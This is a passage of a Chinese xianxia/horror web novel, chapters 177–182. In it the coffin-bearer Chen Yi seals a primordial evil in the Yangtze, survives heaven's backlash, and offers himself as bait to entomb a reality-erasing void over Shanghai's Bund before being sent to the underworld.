这块“棺材板”不带任何花巧,狠狠地,砸在了那被龙魂死死压住的邪物之上。
没有惨叫。
没有挣扎。
那团代表着混沌初开第一缕“恶”的邪物,在这股超越了神话、超越了想象的绝对力量面前,连一个念头都没能再升起。
它被彻底地、永恒地,钉死在了江床地脉的最深处。
它存在的概念,被从这个世界上,强行抹去。
它被“活葬”了。
嗤……
侵蚀龙魂的黑色怨气,如阳光下的冰雪,刹那间消散得无影无踪。
巨大的金色龙魂疲惫地抬起头,深深地看了一眼那个站在狂风中,身形挺拔如枪的年轻人。
那眼神里,有感激,有敬畏,也有一丝如释重负的解脱。
一声悠长而喜悦的龙吟,不再压抑,传遍了长江两岸。
随即,它庞大的身躯化作亿万点金光,重新融入了奔腾不息的江水之中。
长江,活了。
大坝之上,随着龙魂离去,那股无法想象的因果重压瞬间消失。
噗通、噗通……
义字堂的兄弟们,如同被抽掉所有骨头的麻袋,一个接一个地瘫软在地。
大牛双目紧闭,那两条已经不成人形的手臂诡异地扭曲着,彻底昏死过去。
猴子和老七躺在地上,胸膛剧烈起伏,大口大口地喘着粗气,连动一根手指的力气都已榨干。
胖三最没形象,四仰八叉地瘫着,眼泪鼻涕糊了一脸,嘴里还在含糊不清地嘟囔:“我的……我的钱……没了……都……都没了……”
远处,张金城和他门下的弟子也耗尽了心神,一个个萎靡在地,但他们脸上,却带着一种见证了神迹的狂热与崇拜。
唯有陈义,依旧站着。
他像一杆被鲜血浸透的标枪,死死插在天地之间。
他缓缓抬手,看向自己脑海中的那面“病历铜镜”。
代表长江流域的巨大黑色病灶,已然消失。
取而代之的,是一个被无数金色符文锁链死死捆绑的,针尖大小的黑色圆
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点。
旁边一行小字,清晰无比:【已归墟】。
成了。
陈义长长地舒了一口气,一股无法形容的疲惫感如潮水般涌来,几乎要将他吞没。
然而,就在这时。
咔嚓。
一声极其轻微,却又无比清晰的碎裂声,在他意识深处响起。
他看见,那面光滑如镜的“病历铜镜”上,毫无征兆地,出现了一道细微的裂痕。
裂痕旁边,一行新的、散发着不祥气息的血色文字,缓缓浮现。
“天道有缺,擅补者,当承其重。”
陈义的瞳孔猛地一缩。
他明白了。
他这次,玩得太大了。
他用人皇的权柄,调动了国运,强行扭转了长江的生死,完成了一场连“天”都未曾完成的伟业。
这相当于,在一个本就有漏洞的程序里,强行打上了一个不属于这个程序的完美补丁。
程序稳定了。
但作为“程序员”的他,却要承担这个“补丁”所带来的,来自整个系统规则的……反噬。
他,替这片天地,背上了一份本不该由他背负的因果。
一股沉重如山岳的无形枷锁,死死扣在了他的命格之上。
陈义胸口一闷,喉头涌上一股腥甜。
噗。
他终是没忍住,一口逆血喷了出来,洒在脚下的坝面上,发出“滋滋”的轻响,蒸起一缕白烟。
江婆带着幸存的守江人,一步一步,艰难地走到他面前。
他们什么也没说。
以江婆为首,三百多人,对着这位以凡人之躯行神明之事的年轻人,深深地,拜了下去。
三叩首。
那不是臣服,也不是崇拜。
那是一个古老的族群,对延续了他们血脉与使命的恩人,所能表达的,最崇高的敬意。
陈义默默承受了这一礼。
他擦去嘴角的血迹,转过身,看向远方。
夕阳的余晖,将奔腾的江水染成一片壮丽的金色。
他感受着那份沉甸甸的因果,感受着那份来自天地的重压,眼神却依旧平静。
路,是自己选的。
棺材,是自己抬的。
没什么好说的。
“收工。”
他沙哑地开口,声音被风吹散。
“回家。”
第178章 天道裂,吾身承之!
军用运输机的轰鸣,在万米高空被拉扯得沉闷而悠长。
机舱内,没有胜利的欢呼,只有死一样的寂静。
空气粘稠,混杂着血腥、汗水与江风的湿冷气息,压得人喘不过气。
义字堂的兄弟们倒了一片。
大牛、猴子、老七,一个个脸色惨白如纸,被牢牢固定在担架上,胸膛只有微弱的起伏。
胖三醒着,却瞪着一双空洞的眼睛,死死盯着机舱顶部,嘴唇翕动,无声地念叨着什么。
张金城和他门下的摸金校尉更惨,随行的军医除了挂上营养液,甚至不敢轻易挪动他们。
周克将军笔挺的军装满是褶皱,他看着这满舱为国征战的“活烈士”,再望向舷窗边那个唯一的站立的背影,眼神里情绪翻涌,最终只化为一声无声的叹息。
陈义站在那,背影孤峭。
他俯瞰着脚下飞速**的神州山河,那些壮丽的画卷,在他眼中却是另一番景象。
他的意识深处,那面古老的病历铜镜上,一道裂痕狰狞刺眼。
“天道有缺,擅补者,当承其重。”
十二个血字,已化作一道实体枷锁,死死烙在他的命格之上。
他能清晰感觉到,一种来自整个天地规则的排斥力,正从四面八方挤压而来。
他强行补上了长江的“缺”,自身却成了这方天地间,唯一的“异物”。
这片天地,在试图“修正”他。
突然,一阵尖锐的金属扭曲声爆开!
不是颠簸,是撕裂!
机身猛地一沉,仿佛被一只无形巨手从万米高空狠狠攥住,要捏成一团废铁!
刺耳的警报声响彻机舱,血红的灯光疯狂闪烁!
“报告!机体结构正在失效!所有仪表失灵!”
“我们在被……被什么东西撕开!”
驾驶舱传来飞行员混杂着电流音的惊恐咆哮。
周克一把抓住固定杆,对着通讯器怒吼:“稳住!启动紧急预案!”
然而,现代工业的结晶在这一刻脆弱得像纸。
陈义的瞳孔骤然紧缩。
在他的视野里,坚固的机舱壁板上,正凭空浮现出无数蛛网般的灰色裂纹,外界的光线和罡风从裂缝中渗入,带着切割灵魂的锋利。
他周围的空间,正在崩塌!
这不是气流,是这片天地在对他进行“物理清除”!
“队长!”
胖三被这股源自灵魂的恐惧惊得魂飞魄散,连滚带爬地扑过来,想抓住陈义这根唯一的救命稻草。
“别过来!”
陈义厉声低喝。
声音不大,却让胖三的动作瞬间僵住。
他惊恐地看到,陈义的身体周围,空气正发生着光怪陆离的折射,仿佛那片区域不属于这个世界。
飞机发出一声不堪重负的哀鸣,开始螺旋下坠!
陈义闭上了眼。
逃不掉。
他就是灾难的根源。
他缓缓抬起右手,食指探出,没有咒语,没有金光,就这么对着面前扭曲破碎的虚空,轻轻一点。
指尖触碰之处,并非空气,而是一面看不见的、布满裂痕的规则壁垒。
他没有去“修复”。
他已经付不起第二次修复的代价。
他选择了,一种更疯狂的方式。
“天地为证,山河为契。”
他用神魂发出只有规则才能听懂的宣告。
“我身有缺。”
“如你之缺。”
他不再对抗那股排斥之力,而是彻底敞开自己的命格,将那道“天道枷锁”的气息,主动与周围崩塌的空间裂隙,死死连接!
你排斥我,因我完整。
若我,比你更残破呢?
嗡——
一种恐怖的共鸣瞬间达成!
陈义身体剧烈一颤,喷出一口血雾,却被无形的力量瞬间蒸发。
他感觉自己的神魂被拖入一个巨大的磨盘,与天地间所有的“残缺”、“破损”、“遗憾”一同碾磨。
那道烙印在铜镜上的裂痕,骤然加深,几乎贯穿整个镜面!
而他周围,那片正在分崩离析的现实空间,却以肉眼可见的速度,迅速弥合、平复!
飞机猛地一震,冲出那片死亡空域,瞬间恢复平稳。
警报戛然而止,血色褪去,柔和的白光重新洒满机舱。
“警报解除……我们……我们冲出来了?”驾驶舱传来飞行员劫后余生的喘息。
周克呆呆地看着陈义的背影。
那个背影似乎比刚才更萧索,更单薄,仿佛下一秒就会碎裂,融化在光里。
陈义缓缓收回手指。
一股腥甜再次涌上喉头,他面不改色,强行咽了回去。
不能再让兄弟们担心。
他转过身,脸上没有丝毫血色,声音沙哑得像是两块石头在摩擦:“没事,小场面。”
胖三张着嘴,想问什么,却在对上陈义眼神的刹那,把所有话都吞了回去。
那是一双怎样的眼睛?
不再是熟悉的平静与淡然,那里面空无一物,只有一片看穿了世间所有“破绽”与“伤痕”的……死寂。
胖三打
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了个寒颤,默默退了回去。
陈义走到大牛的担架旁,伸手探了探他扭曲的手臂。
骨骼尽碎,但生机未绝。
他松了口气,又依次检查了猴子和老七。
都只是脱力昏迷。
最后,他停在张金城面前。这位摸金掌舵人眉宇间的死气已散,取而代之的是一种破而后立的新生之气。
这一趟,对所有人,都是一场洗礼。
确认完所有人的状况,一股无法抗拒的疲惫与剧痛才席卷而来。
他走到一个空位坐下,闭上了眼。
他需要休息。
因为他知道,这只是开始。
他用一种近乎自残的方式,与“天道之缺”达成了共存契约。
从此,他就是这片天地,一个行走的“痛觉神经”。
山河**,凡有伤损,他必感同身受。
……
飞机平稳降落在京城西郊的军用机场。
秦老早已等在停机坪,身边跟着一群神情肃穆的各领域国宝级专家。
舱门打开。
当看到一个个担架被抬下飞机时,秦老的心猛地揪紧。
直到他看见陈义自己走下舷梯,那颗悬着的心才稍稍落下。
“小义!”
秦老快步迎上,可话一出口,就顿住了。
他看见,陈义的鬓角,不知何时,已添了一缕刺眼的霜白。
那不是疲惫,那分明是生命本源被过度透支的痕迹!
陈义似乎并未察觉秦老的目光,只是平静地扯了扯嘴角:“秦老,我没事。兄弟们累着了,麻烦您安排好。”
那个笑容很淡,却让秦老看得眼眶发酸。
这哪里是没事的样子!
这个才二十出头的年轻人,身上那股本该刺破青天的少年锐气,已荡然无存。
取而代之的,是一种连他这个年近古稀的老人都感到心悸的……暮气。
仿佛他一个人,就扛起了一座山,一条河,一段无比沉重的千年岁月。
“都安排好了!全国最好的医院,最好的专家!”秦老压下喉头的哽咽,重重点头。
陈义“嗯”了一声,目光越过秦老,望向远处京城的轮廓。
高楼林立,车水马龙。
但在他的视野里,那座繁华的超级都市,地基之下,龙脉之上,布满了无数细微扭曲的裂痕。
人间烟火,众生百态,都建立在这片破碎的薄冰之上。
摇摇欲坠。
他默默收回目光,心中的疲惫与痛楚,更深了。
这笔抬棺的账,看来是还不清了。
第179章 天道要抹杀我?那就连天一起抬!
京城,西山,特护病房。
这里是神州心脏地带最森严的角落,静得能听见窗外秋叶坠落的声音。
病房内,更是死寂。
义字堂的兄弟们都在,大牛手臂的石膏白得刺眼,猴子和老七低着头,看不清表情。
胖三的脸色比哭还难看。
秦老坐在床边,这位见惯了风浪的老人,此刻手掌竟在微微发抖。
病床上的陈义,脸色比雪还白,却异常平静。
他没有看任何人,只是伸出自己的手,迎着窗外透进来的阳光。
“小义,你到底……”秦老的声音干涩,喉咙里像是卡着沙砾。
陈义没有回答。
他只是静静地看着自己的手掌。
在众人的注视下,诡异的一幕发生了。
那道穿过玻璃的阳光,在即将触碰到陈义皮肤的瞬间,像是遇到了某种无形的屏障,极其不自然地……弯折了。
光,饶过了他。
仿佛他的这只手,正在被世界本身忽略、排斥。
“它在‘修正’我。”
陈义终于开口,声音很轻,却让整个房间的温度骤降。
“我补上了一个不该我补的窟窿,所以,这方天地要从我身上,把‘材料’找补回去。”
他收回手,光线恢复了正常。
“它在试图……把我从‘存在’这个概念里,彻底抹掉。”
抹掉?!
胖三浑身一颤,再也憋不住了,带着哭腔喊道:“哥!啥叫抹掉?谁敢抹掉你!我……我花钱!我把所有钱都给你!买!咱买下这个天!”
他说着,竟真的手忙脚乱地去摸自己的鞋底,那是他藏私房钱最后的阵地。
荒诞,却又无比心酸。
“回来!”
一声低喝,来自墙角的大牛。
他不知何时已经起身,一只手死死抓着金属床架,那用特种钢材打造的床架,在他掌心正发出令人牙酸的呻吟,无声地扭曲变形。
“砸了它。”
大牛抬起头,一米九几的巨汉,眼眶血红,声音是从胸腔最深处挤出来的,每一个字都带着毁灭的气息。
“坐下。”
陈义的声音不大,却带着不容置疑的威严。
大牛的身躯僵住,最终还是缓缓坐了回去,那只变形的床架,成了他怒火与无力感的唯一见证。
秦老嘴唇翕动,艰难地问:“还有……多久?”
陈义看向窗外那片飘落的黄叶,语气平静得可怕。
“三个月。”
三个月。
这两个字,像两根烧红的钢针,刺入在场每个人的心脏。
胖三的哭声再也压抑不住,从呜咽变成了嚎啕。
猴子和老七猛地转过头,不让别人看见他们的眼睛。
秦老只觉得一阵天旋地地转,整个神州的未来,仿佛都压在了这两个字上。
陈义,是神州的定海神针。
如果他倒了……
就在这片绝望的死寂中,秦老的加密卫星电话,发出杜鹃啼血般的尖锐鸣叫。
秦老猛地回神,接通了电话。
“秦老!最高紧急事态!沪上……沪上出事了!”电话那头,是东部战区指挥官,声音已经完全失真。
“说!”
“外滩……外滩消失了!不是物理上的消失!是……是概念上的!一个小时前,外滩观景平台连同上面的数百人,变成了一片……空白!一片绝对的虚无!”
“以那片虚无为中心,灰色的雾气正在蔓延!所有被雾气笼罩的东西,都在‘褪色’!建筑、街道……都在变得不真实!像……像一张正在被擦掉的画!”
“更可怕的是,我们收到无数报告,市民开始遗忘!有人忘了自己孩子的名字!有人忘了回家的路!记忆……不,是‘存在’本身,正在被大规模地擦除!”
秦老还未下令,病床上的陈义,已经自己掀开了被子,开始穿鞋。
“哥!你不能去!”胖三像只八爪鱼一样扑了过来,死死抱住他的腿。
“小义!你听我说!这次我们自己处理!就算把沪上从地图上抹掉,也不能再让你……”
“秦老。”
陈义打断了他,动作很慢,却
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无比坚定。
“你们处理不了。”
他抬起头,那双死水般沉寂的眼眸里,第一次重新燃起了光。
那是一种混杂着疯狂、冰冷与极致自信的光。
“因为你们……看不见那个‘缺口’。”
“只有我,能看见那些‘不存在’的区域。也只有我,能走进那片‘虚无’。”
他穿好了鞋,站起身。
“躺在这里,是等死。”
“出去,才是抢活儿。”
他不是在说沪上的生机,而是在说他自己的。
一个疯狂到极致,也符合逻辑到极致的想法,在他脑中成型。
既然这方天地,非要从我身上“找补”回那份材料。
那如果……
我给它一份更庞大、更美味、更不属于这个世界的“材料”呢?
“胖三,松手。”
“不松!打死我也不松!”胖三哭得涕泪横流。
陈义看着他,忽然笑了。
“傻子,哭什么。”
“活儿来了,该开工了。”
他伸手,拍了拍胖三的脑袋,那动作里带着前所未有的决绝。
“去,回老宅。”
“把咱们家那口……最老的‘大家伙’,给我请出来。”
最老的“大家伙”?
胖三的哭声戛然而止,一个恐怖绝伦的念头窜入脑海,让他浑身发抖。
苏家老宅,地下密室,那口吞噬了冠军侯、吞噬了无数神祇,连陈义都忌惮三分的……“老祖宗”青铜巨棺!
“哥,你……你要干嘛?”
陈义的目光,仿佛穿透了病房的墙壁,穿透了千里的时空,落在了那片正在吞噬现实的灰色雾气之上。
他的嘴角,勾起一抹让神佛都为之战栗的弧度。
“没什么。”
“给一片‘不存在’的东西,办一场葬礼。”
他环视一圈,看着他所有的兄弟,一字一顿,声音不大,却让整个房间的空气都为之震颤。
“义字堂,活儿来了。”
“这次,咱们抬的不是棺材。”
“是天。”
第180章 今日,我为天道送大殡!
沪上,外滩。
昔日霓虹璀璨的万国建筑群,此刻被一片死寂的灰色浓雾彻底吞噬。
雾气边缘,是最高等级的钢铁防线。
坦克与装甲车冰冷的炮口,对准那片不断蠕动扩张的灰色地带,却不敢发出一声咆哮。
因为所有人都明白,现代武器在那片区域内,连存在的资格都没有。
雾中,一切都在“失真”。
摩天大楼的轮廓剧烈扭曲,像是被无形之火炙烤的蜡像。
黄浦江的水面凝固如黑色的镜子,倒映不出天空,也倒映不出绝望。
时间与空间的概念在此地崩塌。
这里,是“存在”的坟场。
军用直升机的旋翼搅动着凝重的空气,在警戒线外降落。
陈义率先走出,义字堂众人紧随其后,神情肃杀。
大牛手臂上的石膏早已拆除,取而代之的是一副刻满**气血符文的特制金属护臂,闪烁着暗沉的光。
张金城和他手下的摸金校尉也到了。
这位新晋的摸金掌舵人,脸色惨白如纸,嘴唇控制不住地哆嗦。
他死死攥着七巧分金盘,盘上的指针却像个没头苍蝇,疯狂乱转,发出不堪重负的哀鸣。
“陈先生……这……这不是任何已知的煞气、怨念,甚至不是风水格局……”
张金城的声音干涩得像是砂纸在摩擦。
“这是‘无’,是‘空’!是万物归墟,是道的尽头!这地方……活物进去,连痕迹都不会留下!”
“我知道。”
陈义点头,目光平静地穿透那片灰雾,直视其核心。
在他的视野里,这片雾气,正是“天道之缺”在人间的具象化。
它是一个饥饿的黑洞,正疯狂吞噬着周围的一切“存在”,试图填补自身的永恒空虚。
秦老快步跟上,满是褶皱的脸上写满了忧虑:“陈义,你真要进去?”
“秦老,它在‘饿’。”陈义的声音没有波澜,“不喂饱它,整个沪上,乃至半个神州,都会被它一口一口,慢慢吃干净。”
“可拿什么喂?!”秦老的声音都在发颤。
“我。”
陈义只说了一个字。
他转头,看向胖三。
“东西。”
胖三双手颤抖着,从一个特制的金属箱里,捧出那面已经布满裂痕的“病历铜镜”。
“大牛,猴子,老七,王虎。”
陈义点名。
“你们四个,守住这面镜子。”
“无论里面发生什么,哪怕天塌下来,也要保证它不碎。”
“它是我回来的路。”
“是,大哥!”四人怒目圆睁,声如金石。
“张金城。”
“在!”
“我要你在此地,布下摸金门最高规格的‘九鼎镇神州’大阵。”
“不用你**它,我只要你……在我‘干活’的时候,把这片地给我钉**!别让它跟着一起碎了!”
张金城狠狠一咬舌尖,剧痛让他清醒,他重重点头:“领命!”
他清楚陈义要做什么了。
这是在薄如蝉翼的现实之上,进行一场足以撬动世界根基的豪赌。
“胖三。”
“哥,我在!”胖三的眼泪已经开始打转。
“你什么都不用干。”陈义看着他,眼神里流露出一丝罕见的温情,“就站在这里,等我回来。”
“如果……”
“我回不来了,义字堂,以后你就是杠头。”
“哥!”胖三的眼泪瞬间决堤,他一把抓住陈义的胳膊,吼道,“你放什么屁!义字堂的杠头永远是你!你要是回不来,老子他妈就冲进去!咱们兄弟,到哪儿都一块儿抬棺!”
陈义笑了。
他伸手,重重地拍了拍胖三的肩膀。
随即,他转过身,再无一丝留恋,独自一人,朝着那片吞噬万物的灰色雾气,一步一步,走了进去。
他的身影在踏入雾气的一瞬,便被抹去。
像是从未存在过。
……
灰色的世界。
没有上下左右,没有时间空间。
陈义悬浮在这片绝对的虚无之中。
无数扭曲的光影碎片在他身边飞速掠过,那是被“缺”吞噬掉的人、物、乃至记忆。
一股冰冷、无情、超越了生命概念的意志,瞬间锁定了他。
“同……类……新……碎……片……”
一个断断续续的意念,在他脑海中响起,带着一种发现美食的贪婪。
陈义没有理会。
他盘膝而坐,闭上了眼睛。
他开始主动释放自己命格之上,那股被“天道枷锁”烙印的、同源的气息。
如果说,这片“缺”是一个巨大的空洞。
那么此刻的陈义,就是一块散发着致命香气,同样带着“空洞”属性的……绝世点心。
那股冰冷的意志,瞬间被引爆!
无尽的灰色雾气疯狂翻涌,从四面八方朝着陈义汇聚,像一个贪婪到极致的捕食者,要将他彻底吞噬、同化。
陈义的身体,开始剧烈地闪烁,边缘变得透明。
他的“存在”,正在被飞速地稀释、抹除。
这个过程,被加速了千百倍。
或许,只需要三分钟,他就会从这个宇宙中,被彻底擦掉。
雾气之外。
“开始了!”张金城一声狂吼,咬破指尖,将精血狠狠按在地上,“列阵!以我等血肉,为神州筑基!”
数十名摸金校尉同时动作,以玄奥的方位站定,口中念念有词。
大地剧烈震动,一道道无形的气机从他们脚下冲天而起,化作一张金色大网,将这片即将崩溃的区域死死“缝合”!
就在这时。
陈义的声音,突兀地在义字堂所有兄弟的脑海中响起。
那声音,飘忽、微弱,仿佛来自另一个时空。
“起——灵——!”
起灵?
棺材在哪儿?
但长久以来的默契,已经烙印进了他们的骨髓。
“喝!”
以大牛为首,七兄弟没有丝毫犹豫,瞬间摆出了“八仙抬棺”的终极阵型!
没有杠木。
没有棺材。
他们抬的,是“空”!
他们以自身燃烧的阳气与意志,强行构建出一副无形的“阳气之棺”,而这副棺材的坐标,跨越维度,死死锁定了陈义消失的地方!
他们要用这副阳气之棺,为陈义锚定“存在”!
“都他妈给老子抓稳了!”
大牛双目赤红,脖颈青筋坟起如同虬龙,他感觉自己仿佛扛起了一座无形的天!
那重量,比长江龙魂沉重万倍!
那是“天”的重量!
灰色世界里。
陈义的身体已近乎透明。
那股冰冷的意志,已经将他层层包裹,正在享用这顿大餐。
“放……弃……融……合……我……们……将……完……整……”
“做**春秋大梦。”
陈义的意识,在此刻反而前所未有的清晰。
他猛地睁开双眼,眼底没有恐惧,只有疯狂的战意与冰冷的杀机。
“你以为,我是来给你当‘补品’的?”
“错了。”
“我是来……给你‘入殓’的!”
他双手猛地结印!
不是任何道法玄术,而是抬棺匠一脉,最古老、最核心的“入殓诀”!
“尘归尘,土归土!”
“生不带来,死不带去!”
“你,本就不该‘存在’于此!”
“今日,我陈义,以身为饵,抬天为棺!”
“送你……归墟!”
轰!
他不再抵抗,而是彻底放开了自己的心神,任由那片庞大的“天道之缺”疯狂涌入自己的身体!
与此同时,他将“入殓诀”运转到了极致!<
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br>他不是在被吞噬!
他是在“收殓”!
他要将这片庞大到无法想象的“天道之缺”,当成一个已经死去的“魂”,强行“收殓”进自己这副血肉之躯铸成的“棺材”里!
这是一个疯子才会有的想法!
一旦失败,他的神魂将与“缺”彻底融合,化作一个新的、更加恐怖的“天道病灶”。
“啊——!”
陈义发出一声痛苦到极致的咆哮。
他的七窍,流出的不再是血,而是一种代表着“虚无”的灰色雾气。
他的身体,如同一个被吹到极限的气球,疯狂膨胀,又疯狂收缩,濒临崩溃。
就在他即将被这股力量彻底撑爆的瞬间。
他用尽最后一丝清明,引动了与自己神魂绑定的那个存在。
京城,苏家老宅。
地下密室中,那口沉寂了许久的青铜巨棺,猛地一震!
棺盖之上,那个古老的“奠”字,爆发出前所未有,足以吞噬星辰的恐怖吸力!
这股吸力,无视空间,无视距离,跨越维度,精准地锁定了沪上外滩,锁定了那个正在疯狂“收殓”天道之缺的陈义!
“老祖宗……”
“开饭了!”
陈义的意识,发出了最后的指令。
下一秒。
一股无法用任何语言形容,代表着“终结”与“吞噬”的绝对意志,降临了!
灰色世界里,那股刚刚还在得意地享用陈义的冰冷意志,突然发出了惊恐到极致的尖叫。
它感觉到了一股来自生命层次最高维度的……天敌的恐惧!
它想逃!
它想从陈义的身体里退出去!
但,晚了。
“吃了我的,还想吐出来?”
陈义的脸上,露出一抹狰狞到极点的笑容。
“没那么容易!”
“给——我——进——来!”
他强行运转“入殓诀”,将已经“收殓”到自己体内的“缺”死死锁住,任由那股来自青铜巨棺的恐怖吸力,将自己连同那片“缺”,一起当成了“食物”!
嗡——!
整个灰色世界,如同被戳破的肥皂泡,瞬间向内坍塌!
所有的“虚无”,所有的“不存在”,都被那股霸道绝伦的吸力,扯成一道细细的灰色线条,瞬间没入了虚空之中!
外滩。
所有人惊骇欲绝地看到,那片笼罩一切的灰色浓雾,在短短一秒之内,就消失得无影无踪。
阳光重新洒落。
扭曲的建筑恢复了原状。
消失的观景平台再次出现。
一切,仿佛都只是一场噩梦。
噗通。
陈义的身影,从半空中跌落,重重摔在地上。
“哥!”
胖三第一个疯了般地冲了过去。
陈义躺在地上,浑身被汗水湿透,如同刚从水里捞出来,正大口大口地喘着粗气。
他的身体不再闪烁,凝实无比。
他活下来了。
他缓缓抬起手,内视自己的意识深处。
那面病历铜镜上,原本狰狞可怖的裂痕,此刻竟然被一丝丝灰色的雾气所填满。
虽然痕迹依旧,但却不再有继续扩大的趋势。
裂痕旁边,那行不祥的血色字迹,也发生了变化。
“以身承之,以棺镇之。天道之债,暂缓。”
后面,多出了两个字。
“暂缓”。
他成功了。
他用一个更加不讲理的存在,强行**了天道的反噬。
他把一场必死的绝症,硬生生拖成了一场可以慢慢调理的……慢性病。
代价是,他欠了苏家老宅那口青铜巨棺一个天大的人情。
“咳咳……”
他挣扎着坐起来,看着围上来的、一个个哭得像傻子一样的兄弟们,虚弱地咧嘴一笑。
“告诉老祖宗……”
“这顿饭,记我账上。”
第181章 老祖宗的催命外卖单!
沪上的风,带着劫后余生的咸腥,吹在义字堂每个人的脸上。
没人说话。
胖三、猴子、大牛他们,只是用一种近乎贪婪的目光,死死盯着那个站在那里大口喘息的身影。
他们的杠头,陈义。
他脸上没有一丝血色,仿佛全身的精气神都在刚才那场无声的豪赌中被抽干了。
可他还站着。
这就够了。
“哥……你……”胖三的嘴唇颤抖,想问,又不敢问。
他怕,怕一开口,眼前的一切就如泡影般碎裂。
“死不了。”
陈义摆了摆手,挣扎着站直身体,动作牵动了内里的伤势,让他眉心微不可察地一蹙。
他能感觉到,那股源自天道规则的排斥力,那股要将他从“存在”中抹去的进程,被强行中止了。
识海中,病历铜镜上蛛网般的裂痕仍在,却被一丝丝极淡的灰色雾气填满、黏合,像是用一种不存在于世的物质,完成了一场匪夷所思的“锔瓷”。
镜子旁那行血淋淋的死亡判决,也变成了“暂缓执行”。
他用一笔更大的债,暂时压住了另一笔必死的债。
代价也同样清晰。
他能明确感知到,远在京城苏家老宅的地下,那口青铜巨棺,正向他传递来一种前所未有的……饥饿感。
那不是单纯的食欲。
而是一种冷冰冰的、投资之后,等待回报的理所当然。
“陈先生!”
秦老带着周克将军快步赶来,看着恢复如初的外滩,布满皱纹的脸上,震撼与后怕交织。
“这……这就解决了?”
解决了?
陈义心底泛起一丝苦笑。
这哪里是结局,这分明是刚还清一张信用卡,转头就发现自己欠了银行一座金山。
他瞥了胖三一眼。
“通知下去,收队。烂摊子交给秦老。”
“好嘞!”
胖三用力抹了把脸,瞬间从担惊受怕的兄弟,切换回义字堂大总管的身份,咋咋呼呼地开始调度。
他凑到陈义身边,压低了声音,脸上肥肉挤成一团,带着哭腔:“哥,老祖宗那顿饭……可不便宜啊!听着就吓人!咱们拿啥还啊?要不我把我藏在床底下的私房钱……”
“你那点钱,不够老祖宗塞牙缝的。”陈义没好气地打断他。
“那可不一定!”胖三梗着脖子,“我攒了好几年呢!”
陈义懒得理这活宝,径直走向已经待命的军用直升机。
他现在只想立刻回京城。
他得亲眼看看,那份新鲜出炉的“账单”,到底写了些什么。
……
夜,京城,苏家老宅。
当陈义带着一身疲惫踏入院门的瞬间,一股无形的重压便当头罩下。
不是恶意,也非威胁。
而是一种纯粹的、不含任何感情的……等待。
仿佛一个严苛的债主,早已坐在堂屋的主座上,听到了欠债人回家的脚步声,不言不语,只用沉默,便足以压垮人心。
庭院里的石榴树无风自动,叶片摩擦,发出“沙沙”的轻响,像是在无声地催促。
胖三他们甚至不敢大声喘气,一个个缩着脖子,大气不敢出。
陈义没有停留,径直走向地下密室的入口。
每一步,他都感觉自己与那口青铜巨棺的灵魂契约在加深。
在他借用它力量的那一刻,契约便已签下,以天地为纸,以因果为墨,赖不掉。
推开厚重的石门。
密室里,那口静卧于中央的青铜巨棺,散发着一种前所未有的“存在感”。
它仿佛比平时更重、更黑,也更……“饿”了。
棺盖之上,那个古老的“奠”字,正一明一暗地闪烁,如同一颗缓慢而有力的心脏。
陈义走到棺前,伸出手,按在冰冷的棺盖上。
“账单,拿来吧。”
他平静地开口,像是在跟一个合作多年的老伙计说话。
话音落下的瞬间,“奠”字的光芒骤然大盛!
一股无法形容的信息,不似洪流,更像一柄烧红的铁钎,裹挟着源自混沌的“消化不良”感,狠狠捅进了他的脑髓!
陈义闷哼一声,身体剧烈一晃,刚刚恢复些许的脸庞再度煞白。
他“看”到了。
在青铜巨棺那无尽的黑暗深处,那团刚刚被吞噬的“天道之缺”,那团灰色的虚无,并未被消化。
它像一块无法嚼烂的牛皮糖,死死粘在巨棺的“胃壁”上,持续散发着污染与同化的气息。
老祖宗吃撑了。
而且,吃坏了肚子。
它需要“药”。
紧接着,一幅模糊而宏大的画卷,在他脑中暴力展开。
那是一座笼罩在永恒雾气中的巨城,无数青面獠牙的鬼影在阴冷的街道上穿行。
城市中央,是一条奔腾不息的昏黄色大河,河水中翻滚着亿万挣扎的魂魄。
而在那条大河的源头,**着一枚通体漆黑、散发着至高死亡与轮回规则的……印玺。
“十殿阎罗……之印?”
陈义的意识中,自动浮现出这个名字。
老祖宗的意念,简单、直接、粗暴。
把那玩意儿,
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拿来!
它需要用那枚代表着阴间最高秩序的权柄之印,来中和、研磨、并最终消化掉“天道之缺”这块致命的牛皮糖。
陈义的头皮瞬间炸开。
这他妈哪里是账单?
这分明是催命符!
去阴曹地府,从十殿阎罗手里抢他们的根本权柄?这跟闯进白宫,当着总统的面拔掉人家的国旗有什么区别?
就在他心神剧震的刹那,青铜巨棺似乎察觉到了他的“情绪波动”。
咔哒。
一声轻响,棺盖上一个不起眼的暗格,缓缓滑开。
一枚通体漆黑,却带着一丝诡异灰色纹路的鳞片,静静躺在其中。
【虚空之鳞】。
病历铜镜给出了冰冷的注释。
这是“天道之缺”被初步炼化后,提炼出的一丝本源。
拥有它,便能在一定程度上,行走于概念的夹缝,短暂地踏入“不存在”的领域。
这是……定金?
还是路费?
陈义瞬间了然。
老祖宗不是在跟他商量。
它是在下达一个无法拒绝的“订单”。
它提供了工具(虚空之鳞),标明了“货物”(阎罗之印),现在,就等他这个“外卖员”去取货了。
如果取不到……
陈义毫不怀疑,老祖宗会连本带利,把他自己当成“违约金”,一口吞了。
他缓缓收回手,指尖捏起了那枚冰冷的【虚空之鳞】。
鳞片入手的一瞬,便化作一道流光,融入他的掌心,消失不见。
但他能感觉到,自己与这个世界的联系,多了一丝若有若无的“疏离感”。
仿佛他随时可以从这幅名为“现实”的画卷里,将自己轻轻摘出去。
“行。”
陈义深吸一口气,对着青铜巨棺,重重点头。
“这活儿,我接了。”
巨棺上“奠”字的光芒,这才缓缓平息,重新恢复了那副死气沉沉的模样。
陈义转身,走出密室。
胖三他们正焦急地等在门外,像一群等待产房消息的家属。
“哥,怎么样?老祖宗没为难你吧?”
陈义看着兄弟们一张张写满关切的脸,疲惫的脸上挤出一丝笑意。
“没事。”
“就是下了个单,让我去出趟差。”
“出差?去哪儿?”猴子好奇地问。
陈义走到庭院里,抬头望向西南方向的天空,那里的夜色,似乎比别处更浓重,更深邃。
“去酆都。”
他顿了顿,补完了后半句。
“给老祖宗……叫个外卖。”
第182章 阎王爷,你的外卖到了!
“酆……酆都?!”
胖三的眼珠子瞪得比铜铃还大,手里的老算盘“啪嗒”一声掉在地上,算珠碎了一地。
他连捡都顾不上,声音发颤地问:“哥,咱……咱的业务范围,啥时候拓展到地府了?那地方……不归咱抬棺匠管吧?”
“以前不管。”
陈义的语气平静得像是在谈论今天晚饭吃什么。
“现在,老祖宗要吃那儿的外卖,就归我管。”
一句话,让义字堂所有人的脸色瞬间煞白。
他们跟着陈义,上过泰山,下过龙脉,甚至连天都“抬”过了。
